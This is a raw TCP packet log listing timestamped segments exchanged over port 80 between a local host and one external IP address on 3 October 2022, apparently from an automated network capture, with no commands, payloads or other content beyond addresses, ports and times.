Oct 3, 2022 17:35:24.235949993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235958099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235972881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.235975027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235992908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.235995054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236008883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236017942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236043930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236051083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236052990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236073017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236093998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236108065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236114979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236131907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236135960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236148119 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236156940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236162901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236177921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236177921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236193895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236200094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236219883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236222982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236242056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236244917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236265898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236268997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236287117 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236290932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236313105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236318111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236332893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236335993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236354113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236356020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236377001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236383915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236398935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236402988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236419916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236427069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236453056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236468077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236757040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236778975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236799955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.236826897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.236843109 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.237699032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.237724066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.237745047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.237765074 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.237780094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.237788916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.237792969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.237806082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.237828970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.237844944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.238357067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.238387108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.238408089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.238429070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.238430023 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.238451958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.238452911 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.238475084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.238478899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.238497019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.238504887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.238550901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.238550901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.238990068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.239029884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.239052057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.239056110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.239075899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.239092112 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.239379883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.239403963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.239425898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.239474058 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.239495993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.239520073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.239654064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.239959955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.239984035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.240005970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.240071058 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.241498947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241534948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241559982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241576910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.241586924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241599083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.241632938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.241645098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241671085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241684914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.241697073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241709948 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.241719007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241735935 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.241739035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241749048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.241760969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241776943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.241784096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241801023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.241808891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241816998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.241831064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.241847038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.241869926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.243100882 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.243113041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.243143082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.243165970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.243264914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.244026899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.244235992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251435041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251482964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251514912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251523018 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251545906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251547098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251559973 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251576900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251589060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251607895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251621008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251638889 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251650095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251669884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251681089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251703024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251713037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251734018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251744032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251766920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251796007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251797915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251827955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251830101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251840115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251858950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251868963 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251889944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251899004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251920938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.251929045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.251960993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252511978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252545118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252568007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252572060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252588987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252595901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252607107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252618074 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252636909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252640009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252655029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252666950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252681017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252696037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252707958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252722979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252737999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252749920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252760887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252772093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252789021 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252794981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252810955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252819061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252837896 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252842903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252860069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252872944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252885103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.252892017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252909899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.252924919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.262836933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.262897968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.262943983 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.262984991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.262999058 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.263037920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.266936064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.267132044 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.288743973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.288773060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.288791895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.288805962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.288825989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.288846016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.288849115 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.288875103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.288875103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.288899899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.288913965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.288923979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.288928032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.288944960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.288945913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.288969040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.288970947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.288995981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289009094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289020061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289035082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289042950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289045095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289067030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289067984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289092064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289093018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289117098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289118052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289140940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289145947 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289160967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289165020 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289184093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289189100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289211988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289216042 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289228916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289236069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289258957 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289263964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289275885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289279938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289303064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289303064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289321899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289326906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289346933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289350986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289366961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289374113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289398909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289400101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289419889 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289422035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289443970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289444923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289462090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289468050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289490938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289493084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289514065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289514065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289530039 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289537907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289558887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289561987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289582968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289587021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289608002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289609909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289633989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289635897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289645910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289655924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289679050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289680958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289695024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289704084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289725065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289737940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289750099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.289752007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289768934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.289786100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.290133953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.290153980 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.290177107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.290179014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.290188074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.290201902 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.290218115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.290230989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.290363073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.290384054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.290406942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.290419102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.296679020 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.296725035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.296752930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.296766043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.296780109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.296798944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.296808004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.296832085 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.296855927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.297209978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.297238111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.297252893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.297272921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.297286987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.297300100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.297303915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.297326088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.297337055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.297362089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299129009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299168110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299194098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299209118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299216986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299235106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299242973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299266100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299273968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299293041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299318075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299319983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299344063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299346924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299367905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299390078 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299396038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299418926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299429893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299444914 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299467087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299499989 CEST	49703	80	192.168.2.7	193.38.55.180
